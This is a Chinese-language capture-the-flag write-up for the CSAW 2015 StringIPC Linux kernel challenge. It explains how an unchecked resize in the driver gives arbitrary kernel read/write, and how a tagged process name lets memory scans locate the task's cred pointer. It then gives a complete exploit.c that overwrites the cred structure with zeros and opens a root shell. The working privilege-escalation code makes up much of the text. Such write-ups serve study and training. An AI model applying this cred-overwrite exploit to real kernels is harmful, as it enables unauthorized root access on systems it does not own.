CSAW-2015-StringIPC解法一修改cred結構

CSAW-2015-StringIPC

首先,查看一下啓動腳本,發現沒有開smap、smep、kaslr

  1. qemu-system-x86_64 \  
  2.     -m 512 \  
  3.     -kernel ./bzImage \  
  4.     -initrd ./rootfs.cpio \  
  5.     -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \  
  6.     -nographic \  
  7.     -s \  
  8.     -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \  

查看一下內核版本,爲4.4.x

然後,我們分析一下StringIPC.ko驅動文件,題目有提供給我們源代碼,那麼我們直接分析源代碼

realloc_ipc_channel函數裏,沒有對new_size進行檢查,如果new_size-1的話,程序將krealloc(0),與glibc的堆不同的是,如果kmalloc(0)/kerallloc(0),返回的地址就是0x10

而後面又將buf_size設置爲new_size,如果new_size-1,由於是無符號數,並且堆地址爲0x10,那麼我們就能實現任意地址讀寫。

寫數據的時候,需要注意的是使用了strncpy_from_user函數,因此數據中如果遇到0,就截斷了,因此,在寫的時候,我們應該逐字節寫入。

能實現任意地址讀寫,那麼最簡單的方法就是在內存裏搜索cred結構,然後篡改,從而提權。那麼,如何可靠的在內存中查找cred結構能?

Linux的進程有一個這樣的結構體(太長部分省略)

  1. struct task_struct {  
  2.    ...  
  3.    /* Objective and real subjective task credentials (COW): */  
  4.    const struct cred __rcu      *real_cred;  
  5.   
  6.    /* Effective (overridable) subjective task credentials (COW): */  
  7.    const struct cred __rcu      *cred;  
  8.   
  9.    /* 
  10.     * executable name, excluding path. 
  11.     * 
  12.     * - normally initialized setup_new_exec() 
  13.     * - access it with [gs]et_task_comm() 
  14.     * - lock it with task_lock() 
  15.     */  
  16.    char             comm[TASK_COMM_LEN];  
  17.    ...  
  18. }  

我們看到了,在task_struct結構體裏有cred的指針,我們只要得到了cred的指針的值,那麼我們就能利用任意地址讀寫來找到cred,進而修改。那麼如何找到cred的指針呢?我們注意到,cred指針下方,有一個comm字符數組,這個字符串表示線程的名字,其內容可以通過linuxprctl(PR_SET_NAME,target);來設置指定的值。那麼,我們設置一個複雜的長度不超過16字節的字符串作爲標記,然後,在內存裏搜索這個標記,如果搜索到了,就可以確定這個位置前面就是cred指針。

爲了提高搜索的效率,我們還要確定一下搜索的範圍,linux kernel的內存映射圖如下

0xffffffffffffffff  ---+-----------+-----------------------------------------------+-------------+
                       |           |                                               |+++++++++++++|
    8M                 |           | unused hole                                   |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffff7ff000  ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
    1M                 |           |                                               |+++++++++++++|
0xffffffffff600000  ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
    548K               |           | vsyscalls                                     |+++++++++++++|
0xffffffffff577000  ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
    5M                 |           | hole                                          |+++++++++++++|
0xffffffffff000000  ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    1520M              |           | module mapping space (MODULES_LEN)            |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffa0000000  ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    512M               |           | kernel text mapping, from phys 0              |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffff80000000  ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
    2G                 |           | hole                                          |+++++++++++++|
0xffffffff00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    64G                |           | EFI region mapping space                      |+++++++++++++|
0xffffffef00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    444G               |           | hole                                          |+++++++++++++|
0xffffff8000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | %esp fixup stacks                             |+++++++++++++|
0xffffff0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    3T                 |           | hole                                          |+++++++++++++|
0xfffffc0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | kasan shadow memory (16TB)                    |+++++++++++++|
0xffffec0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffeb0000000000  ---+-----------+-----------------------------------------------| kernel space|
    1T                 |           | virtual memory map for all of struct pages    |+++++++++++++|
0xffffea0000000000  ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffe90000000000  ---+-----------+------------| VMALLOC_END   |------------------|+++++++++++++|
    32T                |           | vmalloc/ioremap (1 << VMALLOC_SIZE_TB)        |+++++++++++++|
0xffffc90000000000  ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffc80000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
    64T                |           | direct mapping of all phys. memory            |+++++++++++++|
                       |           | (1 << MAX_PHYSMEM_BITS)                       |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    8T                 |           | guard hole, reserved for hypervisor           |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
                       |-----------|                                               |-------------|
                       |-----------| hole caused by [48:63] sign extension         |-------------|
                       |-----------|                                               |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
    PAGE_SIZE          |           | guard page                                    |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
                       |           |                                               |  user space |
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
    128T               |           | different per mm                              |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+

我們注意到,在0xffff880000000000——0xffffc80000000000區域,是堆的分配區域,因此,我們只需要搜索這段內存,即可找到task_struct結構,進而找到cred結構。

我們的exploit.c程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

void errExit(char *msg) {
   puts(msg);
   exit(-1);
}
//驅動的文件描述符
int fd;
//初始化驅動
void initFD() {
   fd = open("/dev/csaw",O_RDWR);
   if (fd < 0) {
      errExit("[-] open file error!!");
   }
}

//申請一個channel,返回id
int alloc_channel(size_t size) {
   struct alloc_channel_args args;
   args.buf_size = size;
   args.id = -1;
   ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
   if (args.id == -1) {
      errExit("[-]alloc_channel error!!");
   }
   return args.id;
}

//改變channel的大小
void shrink_channel(int id,size_t size) {
   struct shrink_channel_args args;
   args.id = id;
   args.size = size;
   ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {
   struct seek_channel_args args;
   args.id = id;
   args.index = offset;
   args.whence = whence;
   ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//讀取數據
void read_channel(int id,char *buf,size_t count) {
   struct read_channel_args args;
   args.id = id;
   args.buf = buf;
   args.count = count;
   ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//寫數據
void write_channel(int id,char *buf,size_t count) {
   struct write_channel_args args;
   args.id = id;
   args.buf = buf;
   args.count = count;
   ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//任意地址讀
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
   seek_channel(id,addr-0x10,SEEK_SET);
   read_channel(id,buf,count);
}
//任意地址寫
//由於題目中使用了strncpy_from_user,遇到0就會截斷,因此,我們逐字節寫入
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
   for (int i=0;i<count;i++) {
      seek_channel(id,addr+i-0x10,SEEK_SET);
      write_channel(id,buf+i,1);
   }
}


char root_cred[28] = {0};
int main() {
   //通過prctl給當前進程的task結構設置一個標記,方便我們在內存中搜索時可以作爲依據
   //char tag[16] = "thisisatag";
   char *buf = (char *)calloc(1,0x1000);
   //prctl(PR_SET_NAME,tag);
    char target[16];
    strcpy(target,"try2findmesauce");
    prctl(PR_SET_NAME,target);
   initFD();
   //申請一個channel,大小0x100
   int id = alloc_channel(0x100);
   //改變channel大小,形成漏洞,實現任意地址讀寫
   shrink_channel(id,0x101);
   size_t cred_addr = -1;
   //task和cred結構的範圍在0xffff880000000000~0xffffc80000000000
   for (size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000) {
      //每次讀取0x1000的字節
      arbitrary_read(id,buf,addr,0x1000);

      //搜索當前讀出的數據裏是否有我們的標記
      size_t tag_ptr = memmem(buf, 0x1000,target,16);
      if (tag_ptr) {
         cred_addr = *(size_t *)(tag_ptr - 0x8);
         size_t real_cred_addr = *(size_t *)(tag_ptr - 0x10);
         if ((cred_addr & 0xff00000000000000) && cred_addr == real_cred_addr) {
            printf("[+] found cred_ptr at 0x%lx\n",addr + tag_ptr - (size_t)buf);
            printf("[+] cred_addr at 0x%lx\n",cred_addr);
            break;
         }
      }
   }
   if (cred_addr == -1) {
      errExit("[-]can't find cred!!");
   }
   arbitrary_write(id,root_cred,cred_addr,28);
   if (getuid() == 0) {
      printf("[+]rooted!!\n");
      system("/bin/sh");
   } else {
      errExit("[-]root fail!!\n");
   }
   return 0;
}

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章